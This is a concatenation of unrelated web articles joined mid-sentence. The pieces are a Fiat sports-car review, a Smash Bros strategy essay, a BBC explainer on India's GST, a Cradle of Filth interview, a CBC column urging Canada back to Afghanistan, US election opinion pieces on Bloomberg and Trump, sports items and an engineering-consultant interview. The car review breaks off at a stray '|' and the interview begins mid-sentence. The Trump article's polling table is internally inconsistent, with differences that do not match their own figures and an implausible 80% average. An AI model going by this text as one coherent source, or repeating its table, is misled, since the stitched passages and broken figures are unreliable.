FCA delivered us the Lusso model, which sports Leather seats and a 9 speaker Bose system to name a couple of items and of course a Rosso Red exterior…what else. First impressions are I really like the look of the Fiat, especially from the front, which looks spectacular. The superb LED headlights are scalloped into the bodywork, very much like the original’s. The old model had twin bulges on the hood and the new car follows this trend…..It looks epic. The Fiat is also 5.9 inches longer giving a slightly largo cargo volume by a small 0.3 cu ft, enough for a galllon of milk bit it refused to swallow a large Zappos box I needed to return to UPS. I stuck it in the passenger seat instead……job done. Nobody said sports cars are practical.
On The Road
It’s nothing short of a grin fest at any speed. I spent the whole week with the top down, even on colder San Diego mornings, and the very good heated seats kept me nice and toasty. One gripe to note is the transmission, ours was an auto and keeping it |
the heat of a friendly match, when you’re playing jank stages with casuals and in tournament sets your ability to analyze situations and process information is key to winning games.
When you play smash you are actually doing nothing more than processing information you see and hear.
And it comes in various forms. In its most basic form everything is data. You heard sheik perform a bouncing fish. You saw fox shield drop bair.
But data can be refined into information. This is a natural involuntary process. We have to constantly take data and form it into information, information has a purpose and can tell us something.
And here are some hawt steamy truths about the information you gather during a smash game.
The information you process needs to be understood and it needs to be classified.
Gaining a higher level of understanding is key but regardless of how deeply you understand anything its crucial to classify the information you gather.
There’s no perfect way to classify in-game data but I think I have a handle on a very Basic and very Effective way to classify In-game information.
That’s for laters though.
Let’s talk first about information quality. A good example of this is when you’re in training mode. Let’s say you labbin’ and come to the conclusion:
“With cloud I can combo landing up-air to finishing touch on Fox”
If you say “cool! I’ve improved so much i’m gonna go outside and puff my vape and brag on twitter about my new thing I learned” and move on then you'resuper happy with some Low-Ass quality data.
Though this information is true it’s very general. If this is all you knew it would not help you win very many games.
Let’s say you explored it further and came to this conclusion:
“Cloud can true combo landing strong up air into SH aerial finishing touch on Fox at about 50% with no rage regardless of fox’s DI. However this combo into finishing touch will not kill fox from the base of any legal stage. It would still kill however on the top platform of battlefield and dream land and also on certain town and city platforms and in the duck hunt tree”
Knowing that it’s a combo doesn’t tell you too much but outlining the practical uses of when its a combo, that’s very good information to have. This combo though interesting is pretty sub-optimal in many many situations and understanding that makes this a higher quality piece of information
————-
The lab is an easy place to think about the quality of your information because it’s all controlled and simple.
But you don’t just collect data about the game you also collect data about your opponent!
“They like to roll from the ledge”
Is a pretty good thing to know.
“They like to roll from the ledge in this match-up, when I stand in this position and they’re at pretty high percents”
That’s a Better thing to know.
The quality of the data you collect is of utmost importance. That needs to be clear in your mind in order for you to improve.
But equally as important is how you classify this information. As teased earlier here’s a pretty good way to classify the information you collect.
Here’s one way to classify information
System/engine data Player data
And here’s another way
Useful data Useless data
Using these two classifications in tandem you can really start making gathering good information (and making good decisions using your information).
Let’s get to defining those terms:
System/engine data is a truth about the game. Information you learn about the engine that is never gonna change. Player data is knowing stuff that your opponent does.
Knowing when your combo “combos” is system/engine data.
Knowing that your opponent likes to roll is player data.
Yay!
…
Okay but what’s useful data?
Useful data is data that once gathered can be used to win a match. A very simple definition for sure and its open to interpretation to a large extent. But when analyzing things honestly people tend to agree on matters concerning what is useful or not.
The cloud combo from earlier is system data and it’s very very specific, but still can be kind of useful.
Another piece of information for example knowing when your throw kills is much more useful data, the situation will probably occur more often and knowing the percents can mean the difference between winning and losing games.
However,
Knowing how to do break the targets real fast or knowing how to make a black-hole glitch is useless system data. Even though it requires intimate knowledge of the game system it will never help you win a match. The chance of it doing so is zero %.
The usefulness of system data is very easy to define. Time spent playing can make it very clear what things you need to know about the game to win at it.
And it’s easy to see when system data is useless (or useful).
—–
Player data usefulness is similarly defined. Its useful when it helps you win matches. But player data isn’t just a static set of truths like system data.
Players can learn! They grow and change!
They evolve and they devolve. Some days they play amazing and some days they are on full tilt and mashing like a scrub.
Knowing what a player is going to do is not like knowing a combo range or knowing a setup. It’s a different type of information.
I implore you to classify player data differently in your mind than system/game data.
Treat the information you learn about people differently. It may become completely useless information and you need to realize that fact and let It go. JimboNeutron69 might roll from the ledge every time when you played him 6 months ago but you can’t rely on that information to be true as of right now.
So then… how do you gauge the usefulness of player data?
How do I know when I learned something valuable about my opponent?
Well yung reader, that is the dark art of fighting games.
The indescribable feelings that the best players in the world have enable them to make the most spectacular reads. These Feelings, These Psychic Premonitions. They all stem from the ability to evaluate the usefulness of the player-data you learn.
The best players can even understand what you are learning about them and throw out false information. Getting you to act on this false information is how they open you up so effortlessly.
So to wrap this baby-up:
There’s a lot to know, but knowing how to understand game information is a crucial skill we are all developing all the time.
And the human mind is an eternal chasm that never stops innovating when challenged. So as long as you keep holding that controller you’ll keep learning about your opponent and keep learning about yourself.
And I gotta say that one of the true joys of competing at Smash Bros is that you get to learn a whole lot about yourself.
With much love,
~Khakis
Give me a follow on twitter @Nd_KakaKhakis if you like what you read or want to provide any feedback. Gonna be back at it this winter and I’d love to hear your opinions.Media playback is unsupported on your device Media caption What is India's GST and why does it matter so much?
India's parliament has passed the much-awaited Goods and Services Tax (GST) bill.
The tax reform has been labelled a landmark and India's biggest tax reform since independence.
The changes aim to streamline India's fragmented tax system with a single levy.
Indian businesses have been lobbying for the single tax rate as it would reduce costs, particularly for shipping goods across state borders.
A truly single market? by Soutik Biswas, BBC News, Delhi
What promises to one of the world's most complex tax reforms is expected to be serviced by state-of-the-art technology.
Indian software giant Infosys is building a gigantic electronic infrastructure - a GST portal - where taxpayers can register, make payments and file returns.
Some 7.5 million businesses will be covered by the tax. Clearly, a successful GST in India will be a minor miracle.
Read more from Soutik
Why is this move so important?
The goal is to create one single market. Currently, everything sold in India is subject to a multitude of taxes varying from state to state.
This is a bureaucratic burden, with a lot of money lost in a fragmented market. With every state deciding its own taxes it also encourages local protectionism.
The new efficiency aims to boost growth, with optimistic estimates suggesting more than 2% of added economic growth. India already has overtaken China as the world's fastest growing economy.
What are the changes?
The Goods and Services Tax will replace that confusing jumble of existing taxes - ranging from lottery and entertainment tax to VAT, sales tax or luxury tax - with one single tax.
There also will be no more taxes at the different state borders within the country.
Currently, goods brought for example from the northern city of Haryana to Chennai are taxed in six different states.
Why did it take forever?
The individual states fear they will lose money. They will now be compensated for their lost revenue over the next five years. Another compromise is that the lucrative businesses of fuel and alcohol have been entirely left out of the new tax for now.
The bill has been a key goal of Prime Minister Narendra Modi and easily passed the lower house, but was long held up in the upper house where Mr Modi's BJP party does not have a majority.
What happens next?
Although the vote in the upper house is labelled a breakthrough, the actual tax is still quite some time off. First, at least half of the country's 29 states will have to approve the bill before it can become law. Then, the actual tax will need to be decided. A government panel has suggested a rate of 17-18%.
The government target for the tax coming into effect is April 2017 but many doubt it will be in place by then. It's to be an electronic tax with no more manual filing - the massive IT infrastructure will be an added challenge on the way to India's tax miracle.We meet Dani in a pub near Baker Street. He’s hungover from a weekend of partying and is medicating with a pint of lager. We’re the first interview of the day, but certainly not the last, as he’s in town promoting Cradle Of Filth’s new album Cryptoriana – The Seductiveness Of Decay, which he describes as “more brilliant than the last one.” In the new issue of Metal Hammer and on TeamRock+ you can read about the band’s exploration into Victorian literature for the new record, but here we’re chatting about the man himself and reminiscing about the fiery days of the ‘90s black metal scene.
When and why did you decide to go under the pseudonym Dani Filth?
“It was for Cruelty And The Beast and I’ve no idea why, probably because my surname’s shit ha ha. Perhaps I was following Axl Rose. It’s not that great when Nuclear Blast book you into hotels under Mr Filth, and you get your passport out, and they say no – which I’ve done a million times. I have to go online and show them a picture to prove I’m me.”
Growing up, what were your parents’ views on you being a little metal kid?
“My dad was a record collector, but he was into reggae. We used to have all these people show up at our house with funny smelling cigarettes the whole time. My dad had thousands of records, and he’s not into it any more but that’s where I got it from, collecting records.”
Are they fans of your music?
“My mum is, she fancies Tom Araya. They don’t mind my stuff, but they’ve got no idea about heavy metal.”
When did you decide that you seriously wanted to be a musician?
“When I realised I’m not very good at anything else. And also when I made a lot of money – the two sort of go hand in hand. When I bought my first sports car I was like ‘Yeah, this is cool.’ I’ve always loved doing this stuff, it’s brilliant.”
When did you adopt your trademark gothic look?
“A couple of years into the band. Our music had a lot of soundtrack qualities to it and it just came part and parcel with it. Before that I was into hardcore and death metal, I still am into lots of different music. I met Fatboy Slim the other day – he’s really old.”
You grew up listening to hardcore. Why did you transition to black metal?
“I don’t know if it ever happened, we’ve always done what we wanted to do. Musically it was always about soundtracks. We grew up with Paradise Lost and My Dying Bride, but also Celtic Frost and stuff like that. We’ve always been an amalgam of different things. I’m not saying we’re totally original, but we’ve nicked bits from different genres. I’m quite proud of the fact that we still have a lot of hardcore stuff, and people never pick up on that, ever.”
How did you connect to the frozen north of Norway from your secluded spot in Suffolk?
“What I like about that time is the passion about it; I thought it was quite exciting. Some guy down the road in Colchester tried burning down a church, and we got blamed for it. Obviously [church burning] was ridiculous. I have been friends with every single person from that scene since, and I can’t remember anyone that’s said ‘Yeah that was really great’. Everyone said ‘We were idiots, we were kids.’ My friend lives a stone’s throw from the first church that was burned in Bergen, and he knows it’s an idiot thing.
“I’m so happy that I didn’t get caught up in that whole thing because I could have done, but imagine waking up thinking ‘Oh god, I’ve just burned down a church, I’m going to prison for 25 years, I’m an idiot.’
How do you feel when you see your Jesus Is A C-nt shirt in the wild now?
“I think it’s hilarious. It was an anarchic statement. We never thought we were Satanic, we thought it was funny, we were crying when we thought of it and when the guy printed it up we cried even more. My wife used to work at a t-shirt printers in my hometown, they printed the original one up, and she got fired for it.”
Are you happy with your lot in life?
“I’m quite happy with my life to be honest, I love it. When I was a kid, I wouldn’t even have dreamed I’d be sat here talking to you. I’m very happy. I’ve got enough money; it’s not a massive issue, but it stops you working in Burger King. And I get to do what I want to do every day of my life. Some days I get up at half past nine in the morning!”
“I was asked the other day by my daughter ‘Are you one of those people who has their glass half full or half empty?’ and she said I like it half empty. That’s bad isn’t it?”
Do you consider yourself a pessimist?
“I’m happy what I’m doing. If it all goes to shit tomorrow that would be awful, but I’ve always had the time of my life. I love what I do; I’m really fucking good at what I do and our band’s really fucking good at what we do. We sell a lot of records, I make a lot of money – fucking hell, I’m going to rip my clothes off and run down the street. I love it. I love the music.”
Cradle Of Filth’s new album Cryptoriana – The Seductiveness Of Decay is out September 22 via Nuclear Blast, and is available to pre-order now.
Cradle of Filth explain new album Cryptoriana
Cradle Of Filth - Cryptoriana – The Seductiveness Of Decay album reviewLast week, during the NATO summit in Brussels, Prime Minister Justin Trudeau ruled out sending Canadian troops back to Afghanistan — despite requests from NATO commanders that member states contribute more soldiers to an ongoing training mission.
"Canada has always been recognized as one of the go-to partners in NATO," Trudeau said, while essentially suggesting the alliance "go to" some other partner because Canada has already done its share.
This is a mistake. Afghanistan — a country that 158 Canadian soldiers died defending — is teetering on the edge of a dark abyss.
On Wednesday morning, a vehicle bomb in the diplomatic quarter of the capital, Kabul, killed at least 90 people and wounded hundreds. Reports suggested most of the dead are civilians. The Canadian embassy suffered "significant damage," according to a spokesperson for Foreign Affairs Minister Chrystia Freeland, though Trudeau said Canadian embassy staff are safe and accounted for. More than 360 people have died in attacks in Kabul since last June. This attack appears to be the deadliest.
Blast occurs near embassies, presidential palace 1:00
Even without Canada's participation, Operation Resolute Support — NATO's support mission in Afghanistan — is NATO's largest current deployment, one that involves 13,000 personnel from member states and partner nations. It's a priority for the alliance. And Canada is particularly well-suited to it. Trudeau's past rhetoric suggests he knows as much.
While attempting to explain back in 2015 why he would end Canadian airstrikes against the so-called Islamic State group in Iraq and Syria, Trudeau said Canada would instead offer what it has "demonstrated tremendous ability at in Afghanistan and elsewhere: training local troops doing the fighting on the ground."
Now Afghanistan needs the sort of training Canada once provided; the training Trudeau says this country is so good at.
Lingering instability
Wednesday's atrocity in Kabul is only the most recent that Afghanistan has suffered in the past few months. The Taliban, which has denied responsibility for the bombing, is resurgent. A newly established branch of ISIS has launched numerous attacks in Kabul. Afghanistan's security forces are better than they once were, but are still unable to secure their country without help.
The "tremendous ability" Canada demonstrated in Afghanistan did not come easily. It grew out of more than a decade of battlefield and training experience, mistakes, learning, adjusting and sacrifice.
That makes the call to return there difficult to accept. Canadians can look at the ongoing insurgency, the corruption, the lack of a political settlement on the horizon and wonder what was the point of intervening there in the first place.
But this ignores what has been accomplished. For all the setbacks and frustrations, Afghanistan is a more hopeful place today than it was on September 10, 2001.
Far more girls school attend school in Afghanistan than would have if the Taliban still ruled Kabul. (Alex Brandon/Associated Press)
Fewer infants and mothers die. Afghanistan's infant mortality rate was 95 deaths per 1,000 live births in 2000. In 2015, it was 66 deaths for every 1,000 births. What's more, Afghanistan is no longer the base for international terrorism that it was before al-Qaeda was routed (though inroads made by ISIS could change that). There has been a peaceful and democratic transfer of power for the first time in the country's history. And while far fewer girls probably attend school than the Afghan government has claimed, it's clear that far more do than would if the Taliban still ruled Kabul.
Giving up on Afghanistan also avoids confronting just how long it often takes to end insurgencies and civil wars and rebuild nations. In Colombia, a peace deal last year concluded a conflict that had persisted for more than five decades.
Canadians soldiers carry prepare to leave the Kandahar airbase in Afghanistan, in July 2011. Canadian troops transitioned from a combat to a training role that year and withdrew from the country altogether three years later. (Rafiq Maqbool/Associated Press)
Progress in Afghanistan will be measured in generations. And long-term progress requires long-term commitments. Canadian soldiers' deployments in Afghanistan, generally six-month tours, were too short. Understanding a mission and nurturing relationships with locals take time, and a constant rotation of troops undermines this process. But over the years Canada was in Afghanistan, it built expertise and institutional memory. Afghanistan, and Canada's NATO partners in that country, would benefit from that now.
For a while, it seemed that Trudeau would instead put what Canada learned in Afghanistan to use in a United Nations peacekeeping mission somewhere in Africa, probably Mali, a country the UN is trying to stabilize in the face of an Islamist insurgency.
Trudeau appears to have developed cold feet of late, recently noting Canadians have a "difficult history in Africa as peacekeepers" and cautioning that he would not "fast-track" a decision to send Canadian soldiers there, despite previously expressing great eagerness to do just that.
Afghanistan needs Canada's help
Still, Canada's participation in a UN peacekeeping mission in Africa at least remains on the table for Trudeau, while a return to Afghanistan is something he says he won't consider.
Trudeau last year pledged to "revitalize" Canada's role in peacekeeping, something that would allow him to differentiate his foreign policy from that of his predecessor, Stephen Harper. And he likely sees Canadian participation in UN missions as a way to bolster Canada's bid for a seat on the United Nations Security Council in 2021.
But such considerations shouldn't influence where troops are deployed. Canada's ties to Afghanistan are stronger than are those to Mali. The need for Canada's help is greater there. And Canada's obligations to NATO — despite Trudeau's evident fondness for the idea of peacekeeping, if not its messy reality — are more important than is Ottawa's commitment to the United Nations. Canada should join its closest allies and return to Afghanistan.
This column is part of CBC's Opinion section. For more information about this section, please read this editor's blog and our FAQ.The Fall 2010 semester marked the beginning of the Tetherless World Constellation’s undergraduate research program at Rensselaer Polytechnic Institute (RPI). Although TWC has enjoyed significant contributions from RPI undergrads since its inception, this term we stepped up our game by more “formally” incorporating a group of undergrads into TWC’s research programs, established regular meetings for the group, and with input from the students began outfitting their own space in RPI’s Winslow Building.
Patrick West, my fellow TWC undergrad research coordinator and I asked the students to blog about their work throughout the semester; with the end of term, we asked them to post summary descriptions of their work and their thoughts about the fledgling TWC undergrad research program itself. We’ve provided short summaries and links to those blogs below…
Many of these students will be continuing on with these or other projects at TWC in 2011; we also expect several new students to be joining the group. The entire team at the Tetherless World Constellation thanks them for their efforts and many important contributions this fall, and looks forward to being amazed by their continued great work in the coming year!
John S. Erickson, Ph.D.
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Rating: 0 (from 0 votes)Michael Bloomberg confirmed to the Financial Times on Monday that, yes, he was considering a presidential run. “I find the level of discourse and discussion distressingly banal and an outrage and an insult to the voters,” Bloomberg told the paper in the first instance on record of Donald Trump being called “banal.”
It is funny to think of a presidential race featuring a guy from Manhattan, a guy from Queens and a guy from Brooklyn. Granted the Manhattan guy is Bloomberg who is actually from Boston, and granted the guy from Brooklyn lives in Vermont, and granted the guy from Queens now also lives in Manhattan — but there’s something perfect about the idea. Bernie Sanders’s gruff Brooklyn socialism battles Donald Trump’s appropriated Queens blue-collar roughness, facing off against the polished persona of Michael Bloomberg, the guy who wouldn’t move into the New York City mayor’s mansion — a freestanding house in the middle of a beautiful park — because he would rather stay in his expansive Upper East Side townhouse.
If the election were today, as the saying goes, Michael Bloomberg would not be elected president. Michael Bloomberg would probably not win a state, including the state of New York. Quinnipiac University asked about this last week, finding that Bloomberg came in third in hypothetical match-ups against Sanders and Trump and Sanders and Ted Cruz. He did slightly better among Republicans than Democrats against Trump — but didn’t come close to winning.
Not that this matters! More than half of the people surveyed told Quinnipiac that they hadn’t heard enough about Bloomberg to have an opinion of him, a pretty staggering number for a guy who 1) owns a magazine and 2) was mayor of the largest city in the country for 12 years. But still: People don’t know him. So asking how this unknown person would fare against Bernie Sanders (who is still unknown to a fifth of Americans) and Donald Trump is a bit iffy.
Clearly, Michael Bloomberg thinks that he might actually win if he were to run. And, as the Financial Times reminds us, no one thought Donald Trump would win either. (As of writing, of course, he hasn’t won anything, but we shall see.)
But Bloomberg’s motivating principle is that he knows better than you. He knew better than the people he asked to watch over the Bloomberg media empire while he was mayor, cleaning house and upending the organization’s newly created politics site. He knew better than the people who opposed his various efforts to fight obesity in New York City, including the infamous ban on large sodas (which is not in effect, FYI). He knew better than the term limits placed on mayors in the city of New York, convincing the city council to allow him to run for a third term despite those limits, a third term that he won by a surprisingly narrow margin. (Why’d the city council go for it? They got another term, too.) And Michael Bloomberg knows better than to think has no shot at winning the White House.
When these rumours about Bloomberg possibly running first circulated (this year — not various other times in the past when they’ve circulated and not last May when also they circulated), there was a slew of thinkpiecehottakes looking at whether or not he could win. He’ll hurt the Democrats! some argued, because of his liberal anti-gun views. He’ll hurt Republicans! said others, since he’d appeal to moderates on the right who oppose Cruz or Trump. He’ll hurt them both! Frank Luntz argued, hedging his bets.
That vagueness plays to Bloomberg’s advantage. The never-ending theoretical appeal of Michael Bloomberg is that he is a grown-up, that he will enact sensible policies — which translates as “policies that wealthy moderates would like to see.” At the heart of Bloomberg’s statement to the Financial Times is that talking about things that the voters are concerned about, like immigration and income inequality, is so tedious as to be offensive. Why are we not instead talking about the sort of things that Bloomberg’s Upper East Side neighbours think is important? Bloomberg will, at last, be that candidate for that Manhattan.
The former mayor only has about a month to figure out if he wants to do it, because he needs to get on the ballot in enough states to be viable. No one really knows what might happen at that point, with one exception:
The general election debate stage would have a lot of well-informed opinions about pizza.It's not only possible, but probable that Donald Trump will shock the world by winning the White House this fall.
Such a prediction defies conventional wisdom at the moment. But Trump has an advantage that the political pundits have completely missed.
And it wouldn't be the first time. The political class as a whole has consistently underestimated Donald Trump pretty much from the day he announced his candidacy.
Virtually no one gave the Trump campaign a chance at even winning the Republican nomination, much less the presidency.
"The chance of his winning [the] nomination and election is exactly zero," The Atlantic's James Fallows declared on July 13.
"Our emphatic prediction is simply that Trump will not win the nomination. It's not even clear that he's trying to do so," said Nate Silver, the acclaimed election prognosticator of the website FiveThirtyEight, on Aug. 11.
And at first Trump's behavior appeared to vindicate those predictions…
Donald Trump's Secret Weapon for Winning the White House
Donald Trump's bombastic style and divisive campaign rhetoric only made his critics more certain that the New York billionaire's quest for the White House would quickly wither.
And yet once the primaries began, Trump surprised them all by winning early (New Hampshire) and often (20 out of the first 32 contests).
You'd think the politicos would have learned some respect for the Donald Trump campaign now that he has just about locked up the GOP nomination.
But many now are predicting a Hillary Clinton landslide in November. Republican leaders are terrified of a Trump drubbing so severe it will result in the loss of the GOP majorities in both the House and the Senate.
They needn't worry so much.
Because Donald Trump has a secret weapon that has vastly increased his odds of winning Election 2016…
It's true he faces what appears to be an almost insurmountable challenge in defeating probable Democratic nominee Hillary Clinton.
Large chunks of the electorate, including African Americans, Hispanics, and women, have good reason not to vote for Donald Trump because of things he's said.
The electoral map, which favors Democrats regardless of the GOP nominee, appears stacked against a candidate as controversial as Donald Trump.
The polls show Trump trailing Clinton in a head-to-head matchup, but he's not getting swamped in the way you'd expect. With little support among women and minorities, and with a large faction of the GOP vowing "never Trump," his poll numbers in a general election should be in the 30s at best right now.
But the RealClearPolitics average puts Trump's current deficit in a matchup with Hillary Clinton at just 6.5 percentage points.
Even that lead is not quite what it seems.
You see, the pollsters have consistently missed a fairly large chunk of Trump's support. Over seven of the most recent races, they underestimated Trump's margin of victory by an average by 7 percentage points – a huge discrepancy in the world of polling, particularly when aggregating multiple polls.
Donald Trump Hillary Clinton State Primary RCP Avg. Actual Results Diff. RCP Avg. Actual Results Diff. Wisconsin (April 5) 34.5% 35.1% (L) +0.6% 45.3% 43.1%(L) -2.2% New York (April 19) 53.1% 60.4%(W) +7.3% 53.1% 58.0%(W) +4.9% Connecticut (April 26) 53.7% 57.9%(W) +4.2% 49.3% 51.8%(W) +2.5% Maryland (April 26) 47.7% 80.4%(W) +6.7% 57.7% 63.0%(W) +5.3% Pennsylvania (April 26) 48.3% 56.7%(W) +8.4% 80.3% 55.6%(W) +1.3% Rhode Island (April 26) 52.3% 63.8%(W) +1.5% 44.0% 43.3%(L) -0.7% Indiana (May 3) 42.8% 53.3%(W) +10.5% 50.0% 47.3%(L) -2.7% Average Difference 7.0% 1.2%
By contrast, the same polls were much more accurate in predicting support for Hillary Clinton. Three overestimated her support slightly, while four underestimated her support. In the seven races overall, the polls underestimated Clinton's support by just 1.2% — just about what you'd expect.
This hidden support for Trump could flip several key states such as Ohio, Pennsylvania, Florida, and possibly a few reliably blue states like Wisconsin and Michigan.
Some of these races are already close…
Why Polls Measuring Trump Support Are Getting It Wrong
The current models assume Trump will lose all the states Mitt Romney lost in 2012, as well as several more.
But even this early in the race, the polls suggest Trump is well within striking distance, particularly in the states he must win, such as Ohio, Pennsylvania, and Florida. According to RealClearPolitics, Clinton has a lead of 3 percentage points in the battleground state of Ohio. In Florida, Clinton is ahead by 4.3 percentage points. In Pennsylvania, the gap is 7.
A Quinnipiac poll taken in those three battleground states and released today (Tuesday) suggests Trump is in a virtual dead heat with Hillary Clinton. The poll has Clinton up by just 1 percentage point in both Pennsylvania and Florida, and has Trump leading by 4 percentage points in Ohio.
I suspect Trump's support is broader than many think, and not just because he's hanging tough against Clinton in the polls so far. It brings me back to that wide gap between Trump's pre-election poll numbers and the actual results.
Why are the polls missing so much Trump support? Bad methodology? A surge in last-minute deciders going for Trump in state after state?
Those are all possible, but not likely given the large sample we're looking at.
Instead, I believe this group of Trump voters is so intimidated by his negative image that they're reluctant to admit — even to pollsters — that they intend to vote for The Donald. Odd yes, but not all that far-fetched for the most bizarre election cycle in decades.
If this holds true through November, Trump's vote totals will be several percentage points higher than polls indicate. It won't be enough to change the results in heavily Democratic states like New York and California. But in those battleground states, often decided by less than 2% of the vote, Trump's "secret" supporters should be enough to put him over the top.
Of course, much can happen in the months ahead. Donald Trump could blow this opportunity by persisting in alienating minority and women voters.
But don't be surprised if Donald Trump delivers a victory speech on the evening of Nov. 8.
The Bottom Line: Even after his decisive victory in the Republican presidential nomination race, few give Donald Trump a chance to defeat Democrat Hillary Clinton in November. But he has more support than many suspect, and has a secret cadre of support that's not showing up in the polls. That "secret" support will be enough to swing several key battleground states to Trump's column, giving him the electoral votes he needs to win the White House.
Follow me on Twitter @DavidGZeiler or like Money Morning on Facebook.
More Trouble for Hillary Clinton: The FBI investigation of Hillary Clinton's email server continues to lurk in the shadows of her campaign. But how she handled her emails while secretary of state may not be the most damaging part of the FBI investigation. Here's where the FBI is digging now – and why fresh revelations could jeopardize her hopes for the White House…T-Target hitting, infield accuracy skills, pitching/bunting accuracy, PFP/Gauntlet and obstacle course were the activities listed prior to the 1:05 p.m. ET game against the Twins.
FORT MYERS, Fla. -- You could tell it was going to be a different kind of Sunday morning at Red Sox camp just by looking at the daily workout sheet.
FORT MYERS, Fla. -- You could tell it was going to be a different kind of Sunday morning at Red Sox camp just by looking at the daily workout sheet.
T-Target hitting, infield accuracy skills, pitching/bunting accuracy, PFP/Gauntlet and obstacle course were the activities listed prior to the 1:05 p.m. ET game against the Twins.
View Full Game Coverage
The Red Sox had their own version of the Olympics on Sunday, as they split into two teams -- red and blue -- with some obvious motivation hanging out there for the victor.
The winner got to avoid Tuesday's two-hour bus ride to Tampa, while members of the losing team will make that trip to face the Yankees.
Video: MIN@BOS: Red Sox hold a hitting accuracy competition
"We shocked the world," said Brock Holt, a member of the underdog blue squad that beat a team captained by Dustin Pedroia.
"They said we were a 16 seed!" said a gleeful Josh Rutledge.
"Big upset," said Holt.
In another corner of the clubhouse, things were more subdued.
"This game is under protest," quipped Pedroia, who will be joined in Tampa by Jackie Bradley Jr., Andrew Benintendi, Hanley Ramirez and starting pitcher Chris Sale.
Video: MIN@BOS: Farrell talks about skills competition
Others will join Holt and Rutledge in getting some downtime on Tuesday, including blue team captain Chris Young, right fielder Mookie Betts, third baseman Pablo Sandoval, and first baseman Mitch Moreland.
There was actually a draft that took place a couple of days ago to determine how the teams would be separated.
"You always get a pulse and the feel for when things may start to stagnate a little bit because of the length of Spring Training, particularly this year because of the number of additional days," said Red Sox manager John Farrell. "It's always important to keep it light in some spots, but yet a competitive element to it. This is a team-building opportunity for us as well."
Video: MIN@BOS: Red Sox players compete in obstacle course
The skill competitions took place on separate fields, and the teams came into the final event -- the obstacle course relay -- in a tie.
Team Pedroia bolted in front, but then the underdogs came back in a big way to win the race decidedly.
"The MVP of the obstacle course was Robby Scott and [Chandler] Shepherd," said Holt. "We were down by a lot, I was worried. Me and Rut did cut the deficit a little bit. But they did really good and brought us all the way back."
Ian Browne has covered the Red Sox for MLB.com since 2002. Follow him on Twitter @IanMBrowne and Facebook.Have you picked your team to win the Grey Cup on Sunday? According to Google, the Calgary Stampeders lead the search pack in Canada.
For more details, check out this media release from the folks at Google revealing search trends:
Before the kick off and ahead of the coin toss we’ve taken a peek at what Canadians are searching for leading up to the big game this Sunday. So which team has already scored a Google Search touchdown? According to Google Canada, searches for the Calgary Stampeders have outpaced searches for the Hamilton Tiger-Cats, suggesting Canadians may have chosen their #1 team.
The Google Trends Highlight Reel:
· Grey Cup Caribbean Edition: Outside of Canada, searches for the Grey Cup are historically highest in the UK and the US. However, over the past seven days the largest international search volume for the Grey Cup is in the Caribbean, with searches highest in the Turks and Caicos, Cayman Islands and Cuba – perhaps Canadians vacationing, or maybe someone is scouting locations for an all-star game!?
· Parade route planning: Top trending terms associated with the Grey Cup include tickets, halftime show, |
buy our Internet of Things products. They just want the thing.
My project for this is to do the parts I want to do. It’s my project, meaning I don’t have to build a startup company around it. I can give the world something that 10 people want. If it means that more people understand the Electric Imp (a product which connects things to the internet easily) and think about this problem, great. And if it convinces people that this is hard and they should go ahead and buy Life Alert, well, that's OK too.
How much time do you spend on the podcast?
The podcast is a hobby, more than anything else, because I love to talk to people who are excited about things. The podcast also provides advertising for our business.
What does a week in your life look like?
I've had some time for the Are you OK widget this month as this month has been light on the consulting work, partially due to the EE Live Conference, since I wanted time to attend.
There's always a pipeline with consulting. First you have to let everyone know that you're free, then wait for them to realize that they need you, then wait for them to call and then of course 3 or 4 people call on the same day and ask about your availability so that's a juggling act. I let my pipeline go flat for the month but now it is filling back up.
This week, I worked a little bit for a past client where they needed a white paper written. I also have a couple of potential clients to meet with next week and I just hope that the Are You OK Widget is in a good place to sleep while I go mine salt.
Where do you get most of your consulting work?
Almost all of our business comes from people we know, and we know many of these people from our time spent in standard full time employment.
It's a small valley, people change jobs a lot, once you know someone is pretty good from one company, then you want to hire them at another company, too.
What would you say to someone who wanted to start consulting?
Tell the people you know. It’s not bugging them. Some of them are genuinely going to want to give you work or they're going to know someone who wants to give you work. Prepare for the work to be very bursty...sometimes you'll work very hard for a month and then you have a month off. That can be a lot of fun, if you have your own personal projects that you want to work on, but it can also be terrifying because you won’t know what next month is going to hold.
Make sure you have a reasonably good network. If your network isn't big enough and you think you need to know more people, then go to some of these events and meet-ups that are held everywhere, especially ones that are in your area. So if you want to be a consultant, you have to be willing to network as much as engineers don't really like to do that.
I think there is a myth about the introverted engineer, I see plenty of engineers traveling around, giving talks, showing off projects. I don't know that the typical engineer at home, in the basement, is the only kind out there.
Giving talks is a great way to meet people and network too. You may not get a job after the first talk, but after maybe 10 talks, you might actually start to get contracts. It really helps for people to perceive you as an expert.
In the Silicon Valley, what do you feel like the competition is between you and other consultants? Is there enough work to go around?
There is usually enough work to go around, and since we are usually getting work from people we know, we aren't often competing with someone else. I've worked with Nuvation, Mindtribe and Gener8, which are some of the bigger design firms where you bring them a napkin sketch and they can do it for you. So those firms compete with each other because someone will bring their concept around to all of these design firms and ask for quotes. But Logical Elegance is not competing with those kinds of firms.
So let's use the Are You OK manatee as an example- how much do you think the electronics and software would cost to have made by one of those three firms?
I'll try to lead us through the quote process. The BOM for the materials for the one-off product is about $100, which is stupidly expensive, but that is for individual quantities. The off- the shelf parts also could be trivially put together for much less.
Even the LEDs cost 4 times what they would in bulk. So if I wanted to productize this, I could get the electronics down to $10. The NRE to make this is about 6 weeks of engineering time plus probably 4 weeks of firmware plus 2 weeks of manufacturing software plus--to make it pretty--another 4 weeks. So this is about 16 weeks of engineering time, which is how one of the big design firms would figure it out. And then they'd calculate out the dollar amount, which would be close to $200/ hour.
The rate is high, but they need to cover high overheads and also cover themselves for the time that they are underutilized. That's true for any contractor, actually. And then you have to pay for some of the support staff, even though you're paying for engineering time, you still have to pay for the accountant, the managers, and the sales staff somehow.
How do you figure out what to charge yourself since you don't have the same overhead?
I have a spreadsheet to help figure out what your salary should be. Basically it works out to whatever your annual salary was divided by 1000. So if you were making $100,000/ year then your contract rate should be $100/ hour, which is a little high, but it assumes that you're not working 100%.
I provide discounts, if I want to work with the product or there's a new application or technology that I want to learn. I like working with little companies so I have a startup discount. Making a difference in the world is important to me and I don’t want to make another phone. I worked on an exoskeleton robot for a startup. I gave the project a huge discount because that project was so cool.
And then there are reverse discounts- I don't like to commute so I'll add a bit if I have a far commute. Or if they want to pay me net 90 there's an extra fee because that just means I'm lending them my salary for 90 days.
Would you recommend quitting your day job if you really don't have the connections?
